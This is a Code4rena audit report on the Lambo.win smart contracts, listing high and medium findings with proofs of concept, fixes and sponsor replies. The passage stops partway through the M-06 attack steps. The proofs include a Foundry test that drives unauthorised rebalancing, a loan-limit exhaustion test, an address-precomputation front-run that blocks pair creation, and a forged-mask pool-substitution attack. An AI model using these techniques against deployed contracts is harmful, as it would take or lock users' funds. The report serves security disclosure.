Lambo.win
Findings & Analysis Report

2025-02-03

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Lambo.win smart contract system. The audit took place from December 02 to December 09, 2024.

This audit was judged by Koolex.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 14 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of HIGH severity and 10 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 9 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Lambo.win repository, and is composed of 7 smart contracts written in the Solidity programming language and includes 601 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (4)

[H-01] Loss of User Funds in VirtualToken’s cashIn Function Due to Incorrect Amount Minting

Submitted by aldarion, also found by 056Security, 0xaudron, 0xbrett8571, 0xGondar, 0xgremlincat, 0xiehnnkta, 0xiehnnkta, 0xKann, 0xLasadie, 0xleadwizard, 0xLeveler, 0xMitev, 0xMosh, 4B, 4rdiii, Agontuk, Akay, anonymousjoe, ast3ros, aster, aua_oo7, Bauchibred, BenRai, BenRai, Bryan_Conquer, bumbleb33, c0pp3rscr3w3r, chaduke, Coldless, Coldless, CrazyMoose, crmx_lom, dd0x7e8, dhank, DharkArtz, dic0de, EchoKly, eLSeR17, EPSec, ETHworker, Evo, FalseGenius, farismaulana, favelanky, Fitro, Fon, franfran20, gkrastenov, Gosho, harry_cryptodev, honey-k12, hyuunn, icy_petal, Infect3d, inh3l, IzuMan, jaraxxus, jesusrod15, Jiri123, jkk812812, John_Femi, jrstrunk, jyjh, KiteWeb3, KKaminsk, komorebi, KupiaSec, lanyi2023, Le_Rems, Le_Rems, LeFy, LordAdhaar, m4k2, m4k2, macart224, Matin, mgf15, montecristo, Moyinmaala, MrPotatoMagic, mrudenko, newspacexyz, NexusAudits, OpaBatyo, Oxsadeeq, parishill24, pfapostol, pontifex, prapandey031, Prosperity, PumpkingWok, rare_one, Rhaydden, rilwan99, Robinx33, rouhsamad, rspadi, saikumar279, Shubham, silver_eth, Silverwind, slowbugmayor, SpicyMeatball, Stingo, stuart_the_minion, Summer, TenderBeastJr, threadmodeling, tpiliposian, tusharr1411, Tychai0s, typicalHuman, udo, Vagabond, Vasquez, viking71, vladi319, web3km, willycode20, X0sauce, xiao, YoanYJD, zaevlad, zaevlad, ZhengZuo999, zxriptor, and zzebra83

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/VirtualToken.sol#L78

In the VirtualToken contract cashIn() function uses msg.value instead of amount for minting tokens when dealing with ERC20 tokens. This causes users to lose their deposited ERC20 tokens as they receive 0 virtual tokens in return.

Proof of Concept

The root cause is the incorrect usage of msg.value in the minting logic. While the function correctly handles the token transfer with the amount parameter, it incorrectly uses msg.value for minting, which is probably 0 for ERC20 token transactions. They receive 0 virtual tokens in return (since msg.value is 0 for ERC20 transactions)

function cashIn(uint256 amount) external payable onlyWhiteListed {
    if (underlyingToken == LaunchPadUtils.NATIVE_TOKEN) {
        require(msg.value == amount, "Invalid ETH amount");
    } else {
        _transferAssetFromUser(amount);
    }
    // @audit Critical: Using msg.value instead of amount
    _mint(msg.sender, msg.value);  // Will be 0 for ERC20 tokens
    emit CashIn(msg.sender, msg.value);
}
function cashIn(uint256 amount) external payable onlyWhiteListed {
    if (underlyingToken == LaunchPadUtils.NATIVE_TOKEN) {
        require(msg.value == amount, "Invalid ETH amount");
    } else {
        _transferAssetFromUser(amount);
    }
    _mint(msg.sender, amount);  // Use amount instead of msg.value
}

Shaneson (Lambo.win) confirmed and commented:

VirtualToken should support USDT, USDC in the future, so cashIn should use amount instead of msg.value. This is the fixed PR, please review.


[H-02] LamboFactory can be permanently DoS-ed due to createPair call reversal

Submitted by zxriptor, also found by ast3ros, Evo, FalseGenius, Giorgio, Infect3d, inh3l, Le_Rems, m4k2, mrudenko, paco, rouhsamad, shaflow2, SpicyMeatball, TheFabled, threadmodeling, and web3km

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/LamboFactory.sol#L72

LamboFactory.createLaunchPad deploys new token contract and immediately sets up a new Uniswap V2 pool by calling createPair. This can be frontrun by the attacker by setting up a pool for the next token to be deployed.

Contract addresses are deterministic and can be calculated in advance. That opens a possibility for the attacker to pre-calculate the address of the next LamboToken to be deployed. As can be seen below, LamboFactory uses clone() method from OpenZeppelin Clones library, which uses CREATE EMV opCode under the hood.

    function _deployLamboToken(string memory name, string memory tickname) internal returns (address quoteToken) {
        // Create a deterministic clone of the LamboToken implementation
>>>     quoteToken = Clones.clone(lamboTokenImplementation);

        // Initialize the cloned LamboToken
        LamboToken(quoteToken).initialize(name, tickname);

        emit TokenDeployed(quoteToken);
    }

CREATE opcode calculates new contract address based on factory contract address and nonce (number of deployed contracts the factory has previously deployed):

The destination address is calculated as the rightmost 20 bytes (160 bits) of the Keccak-256 hash of the rlp encoding of the sender address followed by its nonce. That is: address = keccak256(rlp([senderaddress,sendernonce]))[12:]

https://www.evm.codes/#f0

Hence an attacker can calculate the address of the next token to be deployed and directly call UniswapV2Factory.createPair which will result in a new liquidity pool being created BEFORE the token has been deployed.

Such state will lead all subsequent calls to LamboFactory.createLaunchPad to revert, because of the pair existence check in Uniswap code, without the possibility to fix that:

https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Factory.sol#L27

    function createPair(address tokenA, address tokenB) external returns (address pair) {
        require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
>>>     require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
        // ... the rest of the code is ommitted ...
    }

Check pool existence using IUniswapV2Factory.getPair().

Shaneson (Lambo.win) commented:

We would use cloneDeterministic instead of clone, and the backend will pass the random salt from off-chain.

And this is the fixed PR.

Koolex (judge) commented:

I believe with this fix, front-run can still be done. It is better to check if the pair exists, then simply don’t create it. This way, there is zero DoS.


[H-03] Calculation for directionMask is incorrect

Submitted by 0xleadwizard, also found by Agontuk, BenRai, Infect3d, Jiri123, NexusAudits, Rhaydden, rouhsamad, SpicyMeatball, and ZhengZuo999

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/rebalance/LamboRebalanceOnUniwap.sol#L165

The _getQuoteAndDirection function’s flawed logic can cause incorrect direction determination in the UniswapV3 pool. The recommended mitigation ensures that the function dynamically identifies token0 and token1 and assigns the correct direction mask. This prevents potential financial losses and ensures accurate rebalancing.

Finding description and impact

The function previewRebalance is called off-chain, to calculate values that can be passed to the function rebalance when making a call for balancing the uniswapV3 vETH/WETH pool.

function previewRebalance()
        public
        view
        returns (bool result, uint256 directionMask, uint256 amountIn, uint256 amountOut)
    {
        address tokenIn;
        address tokenOut;
        (tokenIn, tokenOut, amountIn) = _getTokenInOut();
        (amountOut, directionMask) = _getQuoteAndDirection(tokenIn, tokenOut, amountIn);
        result = amountOut > amountIn;
    }

The function _getQuoteAndDirection takes tokenIn, tokenOut & amountIn as parameter to output amountOut & directionMask.

directionMask is used to decide if the swap is zero-for-one or one-for-zero in OKX.

The _getQuoteAndDirection function assumes that WETH is always token1, which can lead to incorrect direction determination in cases where WETH is actually token0. This is due to the fact that Uniswap sorts token0 and token1 lexicographically by their addresses, and not based on their logical roles.

function _getQuoteAndDirection(
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) internal view returns (uint256 amountOut, uint256 directionMask) {
        (amountOut, , , ) = IQuoter(quoter).quoteExactInputSingleWithPool(
            IQuoter.QuoteExactInputSingleWithPoolParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                amountIn: amountIn,
                fee: fee,
                pool: uniswapPool,
                sqrtPriceLimitX96: 0
            })
        );
        >> directionMask = (tokenIn == weth) ? _BUY_MASK : _SELL_MASK;
    }

Example: If the UniswapV3 pool has token0 as WETH (lower address value) and token1 as vETH (higher address value), and the pool has more vETH than WETH, the tokenIn will be WETH. However, because WETH is token0 in this case, the correct direction would be zero-for-one. The current logic mistakenly assumes WETH is token1, leading to an incorrect direction of one-for-zero.

For context, here is how the MASK is used in OKX:

  1. MASK defined
uint256 private constant _ONE_FOR_ZERO_MASK = 1 << 255; // Mask for identifying if the swap is one-for-zero
  1. MASK used
let zeroForOne := eq(and(_pool, _ONE_FOR_ZERO_MASK), 0)

Add the logic for considering if the tokenIn is token0 or token1.

function _getQuoteAndDirection(
    address tokenIn,
    address tokenOut,
    uint256 amountIn
) internal view returns (uint256 amountOut, uint256 directionMask) {
    // Retrieve token0 and token1 from the Uniswap pool
    address token0 = IUniswapV3Pool(uniswapPool).token0();
    address token1 = IUniswapV3Pool(uniswapPool).token1();

    // Call the quoter to get the amountOut
    (amountOut, , , ) = IQuoter(quoter).quoteExactInputSingleWithPool(
        IQuoter.QuoteExactInputSingleWithPoolParams({
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            amountIn: amountIn,
            fee: fee,
            pool: uniswapPool,
            sqrtPriceLimitX96: 0
        })
    );

    // Determine directionMask based on tokenIn position (token0 or token1)
    if (tokenIn == token0) {
        directionMask = _SELL_MASK; // Zero-for-one direction
    } else {
        directionMask = _BUY_MASK; // One-for-zero direction
    }
}

Shaneson (Lambo.win) acknowledged and commented:

When the VETH is deployed, the direction will be updated. But yes, this is still a good suggestion.


[H-04] Anyone can call LamboRebalanceOnUniwap.sol::rebalance() function with any arbitrary value, leading to rebalancing goal i.e. (1:1 peg) unsuccessful.

Submitted by orangesantra, also found by EPSec and Evo

Anyone can call LamboRebalanceOnUniwap.sol::rebalance() function with any arbitrary value, leading to rebalancing goal i.e. (1:1 peg) unsuccessful.

The parameters required in rebalance() function will are, uint256 directionMask, uint256 amountIn, uint256 amountOut. The typical value should be -

directionMask = 0 or 1<<255

amountIn and amountOut obtained from LamboRebalanceOnUniwap.sol::previewRebalance()

But since there is no check, to ensure the typical values of parameter in the function, this can cause the flashloan for wrong amount or flashloan reverting if directionMask is any other value apart from 0 or 1<<255.

If flashloan of wrong amount occurs it means the pool will be unbalanced again with different value instead of balancing.

Proof of Concept

By pasting the following code in RebalanceTest.t.sol, we can see that after_uniswapPoolWETHBalance:2 and after_uniswapPoolVETHBalance:2 are much distant.

The test does the following -

  1. Do the usual rebalancing operation by executing rebalance(), by proving parameter from previewRebalance() and legit directionMask.
  2. After snapshot revert, it calls the rebalance() function from an unauthorised user with an abritrary value.
  3. In the console log we can see, that the rebalance with typical parameters does the balancing goal of nearly 1:1
    // after_uniswapPoolWETHBalance:  449788833045085369301
    // after_uniswapPoolVETHBalance:  452734978359843468645

But for second part output statement obtained is as follow (unable to obtain 1:1 peg)-

// after_uniswapPoolWETHBalance:2  350165415961266006942
// after_uniswapPoolVETHBalance:2  552734978359843468645

Paste the below code in RebalanceTest.t.sol.

function test_any_caller() public {
    uint256 amount = 422 ether;
    uint256 _v3pool = uint256(uint160(uniswapPool)) | (_ONE_FOR_ZERO_MASK);
    uint256[] memory pools = new uint256[](1);
    pools[0] = _v3pool;
    uint256 amountOut0 = IDexRouter(OKXRouter).uniswapV3SwapTo{value: amount}(
        uint256(uint160(multiSign)),
        amount,
        0,
        pools
    );
    console.log("user amountOut0", amountOut0);

    (bool result, uint256 directionMask, uint256 amountIn, uint256 amountOut) = lamboRebalance.previewRebalance();
    require(result, "Rebalance not profitable");

    uint256 before_uniswapPoolWETHBalance = IERC20(WETH).balanceOf(uniswapPool);
    uint256 before_uniswapPoolVETHBalance = IERC20(VETH).balanceOf(uniswapPool);

    uint snapshot = vm.snapshot();

    lamboRebalance.rebalance(directionMask, amountIn, amountOut);

    uint256 initialBalance = IERC20(WETH).balanceOf(address(this));
    lamboRebalance.extractProfit(address(this), WETH);
    uint256 finalBalance = IERC20(WETH).balanceOf(address(this));
    require(finalBalance > initialBalance, "Profit must be greater than 0");

    console.log("profit :", finalBalance - initialBalance);

    uint256 after_uniswapPoolWETHBalance = IERC20(WETH).balanceOf(uniswapPool);
    uint256 after_uniswapPoolVETHBalance = IERC20(VETH).balanceOf(uniswapPool);

    // profit : 2946145314758099343
    // before_uniswapPoolWETHBalance:  872000000000000000000
    // before_uniswapPoolVETHBalance:  33469956719686937289
    // after_uniswapPoolWETHBalance:  449788833045085369301
    // after_uniswapPoolVETHBalance:  452734978359843468645
    console.log("before_uniswapPoolWETHBalance: ", before_uniswapPoolWETHBalance);
    console.log("before_uniswapPoolVETHBalance: ", before_uniswapPoolVETHBalance);
    console.log("after_uniswapPoolWETHBalance: ", after_uniswapPoolWETHBalance);
    console.log("after_uniswapPoolVETHBalance: ", after_uniswapPoolVETHBalance);

    vm.revertTo(snapshot);

    // creating a non-authorised address.
    uint256 signerPrivateKey = 0xabc123;
    address signer = vm.addr(signerPrivateKey);

    deal(WETH, signer, amountIn + 100 ether);
    deal(VETH, signer, amountOut + 100 ether);

    vm.startPrank(signer);
    lamboRebalance.rebalance(directionMask, amountIn + 100 ether, amountOut + 100 ether);
    vm.stopPrank();

    initialBalance = IERC20(WETH).balanceOf(address(this));
    lamboRebalance.extractProfit(address(this), WETH);
    finalBalance = IERC20(WETH).balanceOf(address(this));
    require(finalBalance > initialBalance, "Profit must be greater than 0");

    console.log("profit :", finalBalance - initialBalance);

    after_uniswapPoolWETHBalance = IERC20(WETH).balanceOf(uniswapPool);
    after_uniswapPoolVETHBalance = IERC20(VETH).balanceOf(uniswapPool);

    // profit : 2569562398577461702
    // before_uniswapPoolWETHBalance:2  872000000000000000000
    // before_uniswapPoolVETHBalance:2  33469956719686937289
    // after_uniswapPoolWETHBalance:2  350165415961266006942
    // after_uniswapPoolVETHBalance:2  552734978359843468645
    console.log("before_uniswapPoolWETHBalance:2 ", before_uniswapPoolWETHBalance);
    console.log("before_uniswapPoolVETHBalance:2 ", before_uniswapPoolVETHBalance);
    console.log("after_uniswapPoolWETHBalance:2 ", after_uniswapPoolWETHBalance);
    console.log("after_uniswapPoolVETHBalance:2 ", after_uniswapPoolVETHBalance);

    require(
        ((before_uniswapPoolWETHBalance + before_uniswapPoolVETHBalance) -
            (after_uniswapPoolWETHBalance + after_uniswapPoolVETHBalance) ==
            (finalBalance - initialBalance)),
        "Rebalance Profit comes from pool's rebalance"
    );
}

Check the parameter of rebalance() function whether they are legit or not, i.e. as per flashloan requirement.

Shaneson (Lambo.win) acknowledged


Medium Risk Findings (10)

[M-01] Since the cost of launching a new pool is minimal, an attacker can maliciously consume VirtualTokens

Submitted by shaflow2, also found by 0xD4n13l, 0xGondar, c0pp3rscr3w3r, Coldless, EPSec, Evo, farismaulana, Fitro, Fon, Infect3d, jaraxxus, Jiri123, jkk812812, kodyvim, Le_Rems, m4k2, macart224, MrPotatoMagic, Mushow, NexusAudits, NexusAudits, parishill24, pontifex, prapandey031, rouhsamad, rspadi, threadmodeling, Tychai0s, typicalHuman, Vasquez, zxriptor, and zzebra83

When launching a new pool, the factory contract needs to call the takeLoan function to intervene with virtual liquidity. The amount that can be borrowed is limited to 300 ether per block.

github: https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/VirtualToken.sol#L93

    function takeLoan(address to, uint256 amount) external payable onlyValidFactory {
        if (block.number > lastLoanBlock) {
            lastLoanBlock = block.number;
            loanedAmountThisBlock = 0;
        }
        require(loanedAmountThisBlock + amount <= MAX_LOAN_PER_BLOCK, "Loan limit per block exceeded");

        loanedAmountThisBlock += amount;
        _mint(to, amount);
        _increaseDebt(to, amount);

        emit LoanTaken(to, amount);
    }

However, when launching a new pool, the amount of virtual liquidity is controlled by users, and the minimum cost to launch a new pool is very low, requiring only gas fees and a small buy-in fee. This allows attackers to launch malicious new pools in each block, consuming the borrowing limit, which prevents legitimate users from launching new pools.

Proof of Concept

  1. User 1 and User 2 submit transactions to launch pools with virtual liquidity of 10 ether and 20 ether, respectively.
  2. An attacker submits a transaction to launch a pool with 300 ether of virtual liquidity and offers a higher gas fee, causing their transaction to be prioritized and included in the block.
  3. Due to the takeLoan debt limit, the transactions of User 1 and User 2 revert.
  4. The attacker can repeat this attack in the next block.
    function test_createLaunchPool1() public {
        (address quoteToken, address pool, uint256 amountYOut) = lamboRouter.createLaunchPadAndInitialBuy{
            value: 10
        }(address(factory), "LamboToken", "LAMBO", 300 ether, 10);
    }

Running the above test can prove that an attacker only needs to consume the gas fee + 10 wei to exhaust the entire block’s virtual liquidity available for creating new pools.

  1. Charge a launch fee for new pools to increase attack costs
  2. Limit the maximum virtual liquidity a user can consume per transaction

Shaneson (Lambo.win) acknowledged


[M-02] LamboRebalanceOnUniswap::_getTokenInOut formula used to compute rebalancing amount is wrong for a UniV3 pool

Submitted by Infect3d, also found by EPSec, ka14ar, King_9aimon, KupiaSec, and pontifex

https://github.com/code-423n4/2024-12-lambowin/blob/b8b8b0b1d7c9733a7bd9536e027886adb78ff83a/src/rebalance/LamboRebalanceOnUniwap.sol#L116-L148

The formula implemented assumes that the pool is based on a constant sum AMM formula (x+y = k), and also eludes the fact that reserves in a UniV3 pool do not directly relate to the price because of the 1-sided ticks liquidity.

This make the function imprecise at best, and highly imprecise when liquidity is deposited in distant ticks, with no risk involved for actors depositing in those ticks.

Vulnerability details

The previewRebalance function has been developed to output all the necessary input parameters required to call the rebalance function, which goal is to swap tokens in order to keep the peg of the virtual token in comparison to its counterpart (e.g keep vETH/ETH prices = 1):

File: src/rebalance/LamboRebalanceOnUniwap.sol
128:     function _getTokenBalances() internal view returns (uint256 wethBalance, uint256 vethBalance) {
129:         wethBalance = IERC20(weth).balanceOf(uniswapPool);         <<❌(1) this does not represent the active tick
130:         vethBalance = IERC20(veth).balanceOf(uniswapPool);
131:     }
132: 
133:     function _getTokenInOut() internal view returns (address tokenIn, address tokenOut, uint256 amountIn) {
134:         (uint256 wethBalance, uint256 vethBalance) = _getTokenBalances();
135:         uint256 targetBalance = (wethBalance + vethBalance) / 2;    <<❌(2) wrong formula
136:
137:         if (vethBalance > targetBalance) {
138:             amountIn = vethBalance - targetBalance;
139:             tokenIn = weth;
140:             tokenOut = veth;
141:         } else {
142:             amountIn = wethBalance - targetBalance;
143:             tokenIn = veth;
144:             tokenOut = weth;
145:         }
146: 
147:         require(amountIn > 0, "amountIn must be greater than zero");
148:     }
149: 

The implemented formula is incorrect, as it will not rebalance the pool for 2 reasons:

  1. In Uniswap V3, LPs can deposit tokens in any ticks they want, even though those ticks are not active and do not participate to the actual price. But those tokens will be held by the pool, and thus be measured by _getTokenBalances
  2. The formula used to compute the targetBalance is incorrect because of how works the constant product formula x*y=k

Regarding (2), consider this situation: WETH balance: 1000 vETH balance: 900 targetBalance = (1000 + 900) / 2 = 950 amountIn = 1000 - 950 = 50 (vETH)

Swapping 50 vETH into the pool will not return 50 WETH because of the inherent slippage of the constant product formula.

Now, add to this bullet (1), and the measured balance will be wrong anyway because of the liquidity deposited in inactive ticks, making the result even more shifted from the optimal result.

Impact

The function is not performing as intended, leading to invalid results which complicates the computation of rebalancing amounts necessary to maintain the peg.

Since this function is important to maintain the health of vETH as it has access to on-chain values, allowing precise rebalancing, failing to devise and implement a reliable solution for rebalancing before launch could result in significant issues.

Reconsider the computations of rebalancing amounts for a more precise one if keeping a 1:1 peg is important.

You might want to get inspiration from USSDRebalancer::rebalance().

Shaneson (Lambo.win) acknowledged


[M-03] sellQuote and buyQuote are missing deadline check in LamboVEthRouter

Submitted by Infect3d, also found by 0xDemon, Bryan_Conquer, Evo, hyuunn,SpicyMeatball, KupiaSec, NexusAudits, OpaBatyo, and pumba

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/LamboVEthRouter.sol#L102-L102

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/LamboVEthRouter.sol#L148-L148

sellQuote and buyQuote are missing deadline check in LamboVEthRouter.

Because of that, transactions can still be stuck in the mempool and be executed a long time after the transaction is initially called. During this time, the price in the Uniswap pool can change. In this case, the slippage parameters can become outdated and the swap will become vulnerable to sandwich attacks.

Vulnerability details

The protocol has made the choice to develop its own router to swap tokens for users, which imply calling the low level UniswapV2Pair::swap function:

// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
	require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
	(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
	require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

As the comment indicates, this function require important safety checks to be performed.

A good example of safe implementation of such call can be found in the UniswapV2Router02::swapExactTokensForTokens function:

function swapExactTokensForTokens(
	uint amountIn,
	uint amountOutMin,
	address[] calldata path,
	address to,
	uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
	amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
	require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
	TransferHelper.safeTransferFrom(
		path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
	);
	_swap(amounts, path, to);
}

As we can see, 2 safety parameters are present here: amountOutMin and deadline.

Now, if we look at SellQuote (buyQuote having the same issue):

File: src/LamboVEthRouter.sol
148:     function _buyQuote(address quoteToken, uint256 amountXIn, uint256 minReturn) internal returns (uint256 amountYOut) {
149:         require(msg.value >= amountXIn, "Insufficient msg.value");
150: 
...:
...:       //* ---------- some code ---------- *//
...:
168:         require(amountYOut >= minReturn, "Insufficient output amount");     

We can see that no deadline parameter is present.

Impact

The transaction can still be stuck in the mempool and be executed a long time after the transaction is initially called. During this time, the price in the Uniswap pool can change. In this case, the slippage parameters can become outdated and the swap will become vulnerable to sandwich attacks.

Add a deadline parameter.

Shaneson (Lambo.win) acknowledged


[M-04] Accumulated ETH in the LamboVEthRouter will be irretrievable

Submitted by inh3l, also found by 0xLasadie, aua_oo7, bareli, bumbleb33, Daniel526, Daniel526, eta, Evo, gajiknownnothing, inh3l, Ryonen, Le_Rems, m4k2, mansa11, MrMatrix, phenom80, saikumar279, Shubham, and Vagabond

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/LamboVEthRouter.sol#L179-L183

https://github.com/code-423n4/2024-12-lambowin/blob/874fafc7b27042c59bdd765073f5e412a3b79192/src/LamboVEthRouter.sol#L188

Over time, ETH will be accumulated in the LamboVEthRouter and it will be irretrievable leading to loss of funds.

Proof of Concept

First, LamboVEthRouter.sol has a receive function that allows users to send ETH to the contract.

>>      receive() external payable {}

Also, in the _buyQuote function, there is a check for if the msg.value is greater than the amountXIn + fee + 1. If it is, it will refund the user the excess ETH minus 1 wei.

    function _buyQuote(address quoteToken, uint256 amountXIn, uint256 minReturn) internal returns (uint256 amountYOut) {
        require(msg.value >= amountXIn, "Insufficient msg.value");
//...

>>       if (msg.value > (amountXIn + fee + 1)) {
            (bool success, ) = payable(msg.sender).call{value: msg.value - amountXIn - fee - 1}("");
            require(success, "ETH transfer failed");
        }

        emit BuyQuote(quoteToken, amountXIn, amountYOut);
    }

Over time, with the amount of transactions that will be processed, the accumulated 1 weis including any other excess ETH will all add up to a significant amount. Also, as ETH price increases, these small costs can eventually become quite substantial. But there’s no way to sweep the tokens out of the contract. Hence loss of funds for both users and the protocol.

Include a sweep function in the contract, or refund actual excess amount to the users.

Shaneson (Lambo.win) acknowledged


[M-05] Incorrect Struct Field and Hardcoded sqrtPriceLimitX96 in _getQuoteAndDirection

Submitted by Daniel526

The absence of a properly set sqrtPriceLimitX96 allows swaps to execute at prices far beyond expected limits, exposing the contract to unfavorable trade outcomes. The function is also likely to fail at runtime due to a mismatch in struct field names (amountIn instead of amount).

Proof of Concept

In the _getQuoteAndDirection function, the amountIn parameter is incorrectly used for constructing the QuoteExactInputSingleWithPoolParams struct. Additionally, the sqrtPriceLimitX96 parameter is hardcoded to 0, potentially leading to unintended behavior in price-constrained swaps.

IQuoter.QuoteExactInputSingleWithPoolParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                amountIn: amountIn, // Incorrect struct field usage
                fee: fee,
                pool: uniswapPool, 
                sqrtPriceLimitX96: 0 // No price constraint is applied
            })

The QuoteExactOutputSingleWithPoolParams struct implementation:

    struct QuoteExactOutputSingleWithPoolParams {
        address tokenIn;
        address tokenOut;
        uint256 amount;
        uint24 fee;
        address pool;
        uint160 sqrtPriceLimitX96;
    }

Update _getQuoteAndDirection to correctly reference the struct fields and provide configurable sqrtPriceLimitX96 if needed:

(amountOut, , , ) = IQuoter(quoter).quoteExactInputSingleWithPool(
    IQuoter.QuoteExactInputSingleWithPoolParams({
        tokenIn: tokenIn,
        tokenOut: tokenOut,
        amount: amountIn, // Correct field usage
        fee: fee,
        pool: uniswapPool,
        sqrtPriceLimitX96: sqrtPriceLimitX96 // Example of allowing no limit
    })
);

Shaneson (Lambo.win) confirmed and commented:

Good suggestion.

Accept.


[M-06] Attacker can capture VETH-WETH depeg profits through a malicious pool, rendering rebalancer useless if VETH Price > WETH Price

Submitted by rouhsamad, also found by m4k2 and zaevlad

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/rebalance/LamboRebalanceOnUniwap.sol#L76

https://github.com/code-423n4/2024-12-lambowin/blob/main/src/rebalance/LamboRebalanceOnUniwap.sol#L109-L114

LamboRebalanceOnUniwap::rebalance accepts a directionMask argument, an arbitrary uint256 mask. It “OR”s this mask with uniswapPool and passes it to the OKX Router to perform zeroForOne or oneForZero swaps (using the MSB).

    function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
        uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
        bytes memory data = abi.encode(directionMask, amountIn, amountOut);
        IMorpho(morphoVault).flashLoan(weth, amountIn, data);
        uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
        uint256 profit = balanceAfter - balanceBefore;
        require(profit > 0, "No profit made");
    }

However, this lets an attacker find a pool address with a malicious token. Attacker needs to find a pool with a malicious coin (discussed in PoC) so that given:

malicious_mask = malicious_pool_address & (~uniswapPool)

we will have:

malicious_mask | uniswapPool = maliciousPool

Which allows attacker to insert the malicious pool here by passing malicious_mask to rebalance function:

// given our malicious mask, _v3Pool is the desired pool
uint256 _v3pool = uint256(uint160(uniswapPool)) | (directionMask);
uint256[] memory pools = new uint256[](1); pools[0] = _v3pool;

Later, the first condition is not met since the directionMask is not equal to (1 << 255). The code goes to the second condition:

        if (directionMask == _BUY_MASK) {
            _executeBuy(amountIn, pools);

Second condition:

    	else {
        	_executeSell(amountIn, pools);
    	}

_executeSell calls OKXRouter with newly minted VETH (which we received at a discount, if VETH is priced higher than WETH). It then sends VETH to the malicious pool and receives malicious tokens + flash-loaned amount + 1 wei as the profit. the fact that its possible to replace the uniswapPool with our desired malicious pool opens up an attack path which if carefully executed, gives attacker the opportunity to profit from WETH-VETH depeg, leaving Lambo.win no profits at all.

The only difficult part of this attack is that attacker needs to deploy the malicious coin (which is paired with VETH) at a specific address so that their v3 pair address satisfies this condition:

malicious_mask = malicious_pool_address & (~uniswapPool)
malicious_mask | uniswapPool = maliciousPool

Basically the malicious_pool_address must have at least the same bits as the uniswapPool so that we can use a malicious mask on it.

Finding an address to satisfy this is hard (but not impossible, given current hardware advancements). For the sake of this PoC to be runnable, I have assumed the address of uniswapPool is 0x0000000000000000000000000000000000000093, so that we can find a malicious pool address and token easily. The actual difficulty of this attack depends on the actual address of WETH-VETH pool; however, I have used a simpler address, just to show that the attack is possible, given enough time.

After attacker deployed the right contracts, he can use them to profit from WETH-VETH depeges forever (unless new rebalancer is created).

Proof of Concept

If price(VETH) / price(WETH) > 1, this attack is profitable. It costs only transaction gas and leaves nothing for the Lambo.win team.

To execute the PoC, first create the necessary files:
https://gist.github.com/CDDose/cf9d31046af661d077c442e437b9a06b

Some interfaces are changed (added new functions) like INonfungiblePositionManager, you can fix errors after creating the files.

Also, most importantly, make sure to change LamboRebalanceOnUniwap::uniswapPool to 0x0000000000000000000000000000000000000093 for the sake of testing:

    function initialize(
        address _multiSign,
        address _vETH,
        address _uniswap,
        uint24 _fee
    ) public initializer {
        require(_multiSign != address(0), "Invalid _multiSign address");
        require(_vETH != address(0), "Invalid _vETH address");
        require(_uniswap != address(0), "Invalid _uniswap address");

        __Ownable_init(_multiSign);
        __ReentrancyGuard_init();

        fee = _fee;
        veth = _vETH;
        uniswapPool = 0x0000000000000000000000000000000000000093;
    }

PoC scenario:

  1. Price of WETH-VETH depegs, so price(VETH) / price(WETH) > 1.
  2. Attacker creates a malicious Token (Token.sol) and a deployer (Deployer.sol) which deploys the malicious token using a salt.
  3. The attacker finds a token address so that if a VETH-TOKEN Uniswap v3 pool is created at a specific fee, the resulting pool address satisfies: ATTACKER_POOL & (~MAIN_POOL) == MASK and MASK | MAIN_POOL == ATTACKER_POOL, attacker uses findSalt.js to find the correct salt, given correct parameters.
  4. After finding the right salt, the attacker deploys the malicious token and creates a VETH-TOKEN Uniswap v3 pair.
